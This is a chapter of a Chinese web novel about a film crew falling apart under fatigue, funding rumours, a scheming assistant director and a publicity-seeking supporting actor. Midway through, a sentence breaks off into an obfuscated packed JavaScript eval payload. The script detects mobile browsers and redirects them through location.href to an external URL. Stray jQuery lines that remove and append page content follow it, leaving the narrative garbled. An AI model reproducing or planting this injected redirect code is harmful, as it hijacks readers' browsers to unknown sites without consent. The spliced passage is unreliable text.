深夜的片场，灯光穿透潮湿的空气，在薄雾中晕出一层模糊的光圈。《暗潮》剧组进入高强度拍摄期已数日连轴转，疲惫像浓雾一样笼罩在每个人身上，错漏频发，怨言横生，原本紧绷的秩序边缘开始龟裂，缝隙越来越大，直至人事矛盾浮出水面，如同一道深不可测的裂痕横亘在众人之间。


    “谁又关错电闸了？！”


    凌晨两点，副导演段林的怒吼在摄影棚内炸响。他拎着对讲机，火气直冲顶，目光像刀子一样一扫而过，“我说了多少遍，夜戏必须抓进度！现在灯全灭了，还拍个屁？！”


    场务主管老周当场炸了：“你自己说改机位就改，一会儿加灯，一会儿撤灯，我兄弟们不是超人，连轴转三天了，你怎么不自己上来搭棚！”


    火药味在空气中迅速蔓延，声音一层盖过一层，像谁也不愿让半步。


    一旁的编剧小井站在角落，脸色僵硬，左右为难地看着两人僵持。她试图缓和气氛，却又不敢太过冒头，只能小声开口：“段导……我们还得赶夜戏，要不先把电修好？”


    段林猛地一偏头，语气像被点燃的火柴：“你一个编剧，插什么嘴？”


    老周拍起椅子：“我场务是干活的不是捧臭脚的，别拿我们出气！”


    周围人集体噤声，生怕一句话不对就成了出头鸟。连导演都神情紧绷，频频朝刘倩递眼色，让他快去找程今。


    远处，服化组也炸开了锅：“夜戏连着拍，大家都快倒了还不让歇？”“衣服还没洗干净又要补拍特写，怎么拍啊！”


    有人一边翻着还没干透的戏服，一边低声抱怨：“周期拉这么长也就算了，现在还传资金链不稳，这戏……真能拍完吗？”


    一夜之间，剧组仿佛被一只无形的大手搅得天翻地覆，人人都在情绪边缘游走，一触即发。


    就在摄影棚另一端，主角沈宴正与新加入的配角柳尧对戏。


    这场是《暗潮》中的关键段落——夜巷对峙。动作紧凑，台词克制，需要极强的默契配合。灯光刚落下，导演一声“开始”，意外就接连发生了。


    柳尧率先停下动作，皱眉抱怨：“你反应时间太短了，我还没准备就出手，哪接得上？”


    沈宴拧了下眉，语气不轻不重：“是你出手慢了。节奏不对，戏就断了。”


    话音未落，第二条拍摄中，柳尧走位明显滞后，直接撞上沈宴的肩膀。两人短暂失衡，他语气一沉：“你演得再好，也别光顾自己。有点帮带意识行不行？”


    沈宴侧头看了他一眼，眼底有不易察觉的火气：“这是对峙戏，不是师徒情深。你要更主动，我才能接得住。”


    棚内气压瞬间冷下来。摄像师迟疑着，手指停在按钮边上。


    导演杨学宁见势不妙，连忙站出来打圆场：“大家先停一下，我看看刚刚那条的回放，看看是哪儿出了问题。”


    柳尧却将手里的道具随手扔回桌上，带着不加掩饰的情绪：“我是新人就得处处让着吗？那我这戏还怎么演？”


    沈宴没立刻回话，只是稍稍侧过头，声音低下来，却依旧有压迫感：“不是让，是合节奏。不走准流程，动作戏就全是空架子。”


    两人对峙间，火药味几乎要蹿上半空，工作人员纷纷收声，像在看一场即将爆发的风暴。


    程今听说这边出事，赶来时正撞上两人冷场僵持的一幕。她脚步顿了一下，随即恢复镇定，快步走向前。


    她没有第一时间喝止争执，而是将柳尧轻轻拉到一边，压低嗓音：“你刚进组没几天，表现确实不错。但如果你想让观众记住你的角色，就先做好角色本分。对戏不和，不仅影响成片，也会影响你后面的资源和口碑。”


    柳尧一时语塞，眼神闪了闪，似乎想说什么，最终只是哼了一声：“知道了。”


    这场风波暂时被程今压下，表面恢复平静，真正的裂缝却已悄然埋入两人心底。


    .


    夜戏一直断断续续拍到凌晨三点，导演终于一锤定音：“收工！”


    话音落地，所有人像被抽掉了力气般四散离场。摄影棚一片狼藉，道具东倒西歪，衣架倾斜、妆发残留，服化区像被风暴扫过，连负责清理的人都比往日少了几成。


    程今环顾现场，眉心微蹙。制片助理刘倩跟在她身边，低声道：“少了好几张熟面孔……有人说身体扛不住，申请回家休息了；也有人接了别的剧组的活儿，说是暂调，实际就是跑路。”


    她的神色微变，声音压得很低：“是他们听到什么消息？以为我们这边拍不下去了？”


    刘倩叹了一口气：“最近外面流言太猛，说咱们资金链断了，投资黄了……组里又这么疲，大家心里难免打鼓。”


    程今沉默片刻，没说话，只是迅速在心里记下各部门缺员情况，转头便火速联系几家人力资源公司，调取外包与备选名单。当夜，她留在办公室加班到天亮，与团队连夜商量临时补贴方案、轮休计划，试图用可控成本稳住人心。


    可她心里清楚得很：


    这一拨人已是透支状态，再出点差错，整个组都有崩塌风险。而她手上的钱，已经见底了。


    天刚亮，片场重启。


    副导演段林带着几个人在场地上忙着排景，场务主管老周负责物资进出。两人一早就杠上了：


    段林坚持要细化今日各场拍摄顺序，优化场地使用效率；


    老周直言夜里人手不够，摆完今天的景就谢天谢地，根本没力分头跑。


    原本只是对讲机里几句争论，转眼升级为面对面开喷：


    “你这样执行力太差，拖慢整个节奏！”段林拍桌，眉头立起，“要不你别干了，我找别人来做场务主管！”


    老周也火了：“你副导演了不起啊？导演和摄影需求你都协调不好，事到临头才临时改动，谁能跟得上？！”


    场务们你看看我，我看看你，脸上尽是难掩的尴尬。有年轻人低声嘀咕：“还拍个啥啊……领导吵成这样。”


    后台，原本在准备拍摄的导演听见外面噪声，脸色一沉，一把将手里的文件砸在桌上：“够了没？！一天天吵个没完，还让不让人干活了？！”


    整组人心惶惶，像被某种看不见的毒气包围，压得人透不过气。每个人都提着神，生怕成为被殃及的池鱼。


    程今赶到片场时，现场仍是一团乱麻。她站在灯光照不全的场地边，眼底是藏不住的疲惫，但语气却一如既往地冷静而强硬：“都停一下。”


    她的出现像是场面唯一的灭火器。段林和老周一时语塞，虽然眼里还有火气，却都没再出声。


    “段林，你先把拍摄计划压缩一点，别扩张，能拍完一条是一条。”


    “老周，你这边先联系外包场务，预算我批。”


    她顿了顿，看着两人：“再吵，谁都别想干下去。”


    两人互相瞪了一眼，虽然心有不甘，却还是默默各自转身，各回各位。


    程今冷静处理完这一场纷争，刚转身，脚步却顿了顿，她长长地吸了口气，像是在用力把肺里堆积的焦躁和疲惫压回去。


    这已经不知道是她今天灭的第几个“火头”。


    夜戏崩、日戏难排、剧本被来回改、资金仍遥遥无期……每一个环节都像定时炸弹，谁都不知道，哪颗会先响。


    .


    同一天下午，某娱乐营销号突然发布了一条新动态，配图是几张柳尧在《暗潮》片场的自拍，角度考究、姿态刻意，配文更是语气自夸：“角色反转埋伏笔，《暗潮》最大爆点即将来袭。”


    最关键的是，他在最后一句含混带过：“这次能出演第二男主，是一次全新的挑战。”


    评论区很快炸了。


    沈宴粉丝火速冲来：“他不是配角吗？哪里来的第二男主？”


    “请问这是剧组官宣的吗？别蹭沈老师热度，谢谢。”


    甚至有人跑到剧组官博下留言：“能不能约束一下演员的行为？还让不让人看了？”


    程今下班途中收到公关经理转来的链接，打开一看，眉头就拧了起来：“他胆子不小，连花絮都敢自己发？我们不是明确规定，对外物料必须报批？”


    导演杨学宁在办公室也刚看到热搜，直接怒火冲天：“这小子想搞事？还第二男主？我再说一次，他就是个重点配角。他要是再乱来，我直接砍镜头！”


    程今抬手止住他的火气，语气依旧冷静：“别急。目前我们最缺的是话题，如果他真能带点正面讨论，其实不算坏事。”


    “可他要是真出乱子，别怪我不留情面。”杨学宁咬牙。


    “放心，我会和他谈清楚。”她点头，眼神一沉。


    当晚，程今私下约了柳尧面谈。她原本已疲惫不堪，却仍维持着理智与控制力。


    柳尧倒是一脸无辜又理直气壮：“我只是想多让大家看到这个角色嘛。影片有热度，对大家都好，不是吗？”


    程今淡淡看着他，语气不动声色：“没人说你不可以推广角色，但我们有宣传计划，你擅自发图，容易引发粉丝误会，破坏宣发节奏。一旦粉圈互撕，剧组和你，谁都讨不到好。”


    柳尧面上一滞，还是嘴硬：“我只是想让观众知道，我不是个可有可无的路人甲。”


    “我明白。”程今声音一顿，语气却更加冷，“但你想红，不该建立在剧组混乱的基础上。你不想被当成麻烦，就别自己变成污点。”


    话不重，却句句击中要害。柳尧一时间说不出话，只得低声应了个“好”，悻悻离开。


    程今站在原地，看着他离开的背影，眉心久久未松。


    他对戏份的渴望太强，这份热度或许能用来做宣发的推力，但若稍有偏差，就会成爆雷。她得踩着这条钢丝，时刻计算风险与收益的临界点。


    这一夜，程今几乎没怎么合眼。


    剧组里内乱未平，对外还要应对突如其来的流量旋涡。她已经将所有能做的事提前一格完成，但仍无法保证下一步不会突然崩盘。


    连续几天下午，助理不断反馈：“有灯光组的人在问项目是不是要黄了，有两个服化说考虑跳去别的组，人家那边稳定，工资也没压。”


    每次听到这些，程今都只能咬牙从预算缝隙里挤出点应急补贴，亲自去安抚：“剧组没事，很快会迎来热度爆点。再撑一阵，就好了。”


    可她心里清楚，那些话更像是在哄小孩。没有实打实的银子到账，一切承诺听起来都像是空中楼阁。


    这几天，她几乎马不停蹄地在“办公室—片场—后期会议室”三点间来回穿梭。靠着咖啡和意志力才勉强支撑住项目走形的边缘。


    临时请辞的浪潮算是压了下去，但她知道，那只是暂时的。只要再遭遇一次失控的公关事件，或者某个投资节点断档，这个组就可能一哄而散。


    她站在会议室的落地窗前，看着玻璃上映出自己面无血色的倒影，那一瞬，冷意仿佛从脚底爬上了脊背，一路窜到心口。


    ——她不是没想过放弃，但手中这局棋，还没输。她不允许现在倒下。


    .


    深夜，办公室的灯还亮着。


    程今推门进来，准备确认次日拍摄事宜，却发现副导演段林还坐在桌前。


    他没在看剧本，也不是调分镜，而是一堆项目进度表和演员档期文档，摊得乱七八糟，神情游离，手里翻着资料却明显心不在焉。


    “段导，我需要明天的场地确认。”她语气尽量克制，不想挑起火药味。


    段林抬头看了她一眼，嘴角浮出一抹似笑非笑的嘲意：“你让我确认我就去确认？现在剧组都快散了，你还当什么事都没发生？”


    程今胸口一紧，火气猛地涌上来，却还是强压下来：“剧不会散，我们只是遇到一点波折。”


    她看着他，字字带压：“戏已经开拍了，你作为副导演，难道不该跟我一条心想办法？”


    段林啪地合上资料，语气冷下来：“完工能不能完成我不知道。但这段时间你绕着我和杨导走，很多事都是你自己定的。还要我真心配合？”


    他嗤笑一声，“你先保得住这支烂队伍再说吧。”


    说完，他抱起一摞资料，头也不回地走出办公室，只留下程今站在原地，脸色冷得像霜。


    她站了好一会儿，才慢慢在心里落下一句判断：


    段林，可能已经不打算跟这部戏站在一起。


    是外面有人跟他接触？还是他自己彻底失了信心？无论哪个答案，都足够让人焦虑。


    他的位置太关键，轻易换人只会引发更大混乱。她必须先稳住。


    第二天下午，片场再度传出风声。


    微信群里，有人假借“知情人”身份发言：“听说投资方下周就要撤资了，有本事的赶紧找下家，不然晚了连补偿都没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359153|168070||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有。”


    真真假假的截图满天飞，有人开始动摇，有人开始观望，也有人开始偷偷投简历。


    群聊里声音混乱，有人发语音控诉：“半夜拍戏拍成病都没人管，那我们留下图什么？”


    也有人默默刷着聊天记录，等待程今发声，可她那时正赶着去导演那边处理突发状况。


    刘倩第一时间冲到她跟前，脸都急红了：“姐，乱了！群里炸了，大家都慌了，你得赶紧出声明稳一稳！”


    程今一边翻看手机，一边冷冷道：“出什么？我们上次那份声明发完，被人截图笑了整整一天。”


    她捏着手机的指节泛白：“现在再放空话，只会更打脸。”


    刘倩急得团团转：“可要不澄清点什么，大家会觉得默认了……我们连后路都没。”


    程今深吸一口气，强行把浮躁压下：“我知道。但靠声明没用。”


    她声音哑哑的，“我们只能硬扛，找办法在最短时间里做点实事，让他们看到，我们还撑得住。”


    到了晚上七点，又一记重击袭来。


    导演杨学宁气冲冲闯进休息室，一脚踹开门：“段林发疯了？在微信群放话劝大家散伙？”


    原来，有人截了段林在小群里的发言截图传给杨导：


    “这项目我看悬了，各位趁早另谋出路吧，免得被拖下水。”


    杨学宁怒不可遏，甩下手里的剧本，指着门口：“他人呢？给我叫过来！”


    段林倒是来了，面不改色，语气冷得像冰：“我只是说了点实话。你们要真聪明，就该早点抽身。”


    “你别想把这个组弄散！”杨导气得发抖，一步上前，“段林，你知不知道你在做什么？”


    “我做的，正是你们不敢承认的。”段林冷笑，“这戏要死了，你们还搅和什么？”


    程今闻讯赶来，刚进门，就看见两人几乎要动手，她立刻拦住。


    “冷静点，杨导！”她高声道，“我们现在最重要的是把拍摄完成，任何内部崩盘都会让外面看笑话！”


    杨学宁满脸涨红，气得直哆嗦：“你可得想清楚！段林已经开始带头造反了！”


    段林摊开双手，一脸轻蔑：“我倒想听听，程制片你现在敢不敢炒我？你换人啊，敢吗？”


    话一出口，他转身摔门而去，毫不留情。


    休息室内一片沉寂。


    程今望着紧闭的门，呼吸凝住了半拍。她转头看向杨学宁，立即示意助理去倒水，安抚导演情绪。


    “我知道现在是临界点。”她语气沉稳却不失压迫，“但请再撑一下，我们必须把这部戏拍完。不然一切都白费了。”


    她攥紧拳头，指节泛白，声音仿佛从胸腔里压出来：“我会处理这件事，我不会让这部戏死在我们手里。”


    正当剧组所有人都围着段林的问题焦头烂额时，柳尧又在社交平台扔下了一颗“舆论炸弹”。


    他晒出自拍照配文：【感谢大家对我在《暗潮》中的期待，我会全力突破自我，不辜负每一场戏。】


    文末还意味深长地加了一句：“剧本确实有些新的惊喜，敬请期待。”


    不出意料，评论区再次掀起风波。


    沈宴粉丝看到后炸锅：“谁在给他加戏？想压主角线？”


    “他不是配角吗？怎么又在暗示有新剧情？”


    “请给沈老师基本尊重。”


    一场粉丝骂战隐隐酝酿，舆情边缘躁动不安。


    程今回到办公室，刚坐下没两分钟，就收到唐夕转来的截图合集。她扫了一眼，眉心拧紧：“他真是……不嫌事大。”


    她语气低冷，“帮我转告他，别再擅自发言。戏没有加，剧本也没改，别自说自话。”


    唐夕小心翼翼：“要不要我们顺势压掉他的热度？或者直接删帖？”


    程今沉吟片刻，目光一凝：“不用太显眼地压。删了只会引起反弹。现在风向敏感，小动作反倒容易引爆。”


    唐夕犹豫道：“那万一他继续发……甚至炒大？”


    程今眯起眼，语气平静，却有种不容置喙的锋利：“那他就别拍了。”


    短短一句，却划出了她的底线。


    她并不想轻易撕裂剧组内部关系，但如果火苗蔓延至全组失控，她宁愿下狠手，也不能眼睁睁看着项目垮掉。


    夜幕再次降临，片场氛围压抑如常。


    段林和老周坐在对讲台前，彼此几乎不说一句话，各组工作人员也各自为阵，暗自抱怨的声音此起彼伏。


    “这剧怕是干不久了吧……”


    “主创天天吵架，气氛僵得跟冰窖似的。”


    “再拍两天？说不定明天就解散。”


    程今像个永动机，穿梭在各个岗位之间，时而安抚，时而施压，时而用实际利益捆住各组的临界情绪。一人撑起一整个组的协调力，但她也知道，这样的平衡脆弱得像浮冰。


    凌晨时分，片场收工。


    演员离开，导演也走了，现场只剩几个加班整理的工作人员。


    程今披着外套，最后巡场一圈。确认完主场地后，她顺着通道绕向道具储物区，想再检查一眼是否有物品遗留。


    刚转过拐角，她便听见低低的交谈声从阴影里传来。灯光昏暗，那人站在角落，用手机讲着电话。


    是段林。


    他的声音压得很低，却依旧透出焦急与不耐：“再等等，别急。时机还没到……她快撑不住了……我估摸着，再几天就崩。”


    那头似乎回了什么，他又低声附和：“对，我会继续盯着……你放心。”


    程今站在昏影边缘，背脊一阵发凉。


    她没有再靠近，也没有出声，只默默退了半步，藏进角落。耳边回荡着刚才那句“她快撑不住了”，像刀一样划过神经。


    她的直觉没错，段林果然已经和外界有勾连。他不是单纯的消极怠工，而是被人指使，准备从内部掀翻这个项目。


    程今咬紧后槽牙，指节攥得泛白。此刻没有证据，她不能贸然发难。


    远处忽然传来场务的喊声：“程制片，出点小问题，麻烦您过来一下！”


    她立刻收了情绪，眨眼间换上镇定自若的神情，快步走出阴影。


    夜风猎猎，她脚步平稳，仿佛一切都在掌控中。


    可只有她自己知道，那股寒意，已经彻底攀上了脊背。